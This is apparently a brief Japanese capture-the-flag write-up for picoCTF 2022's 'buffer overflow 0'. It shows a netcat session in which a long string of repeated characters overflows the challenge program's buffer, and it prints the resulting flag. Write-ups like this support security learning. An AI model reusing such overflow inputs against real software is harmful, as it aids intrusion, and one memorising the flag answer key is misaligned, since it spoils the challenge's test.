picoCTF 2022 writeup buffer overflow 0

buffer overflow 0 (Binary Exploitation)

Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. Connect using: nc saturn.picoctf.net 55002

とりあえず、バッファオーバーフローさせる。

> nc saturn.picoctf.net 62802
Input: fffffffffffffffffffffffffffffffffffffff
picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}

フラグが出てきてしまった。

picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}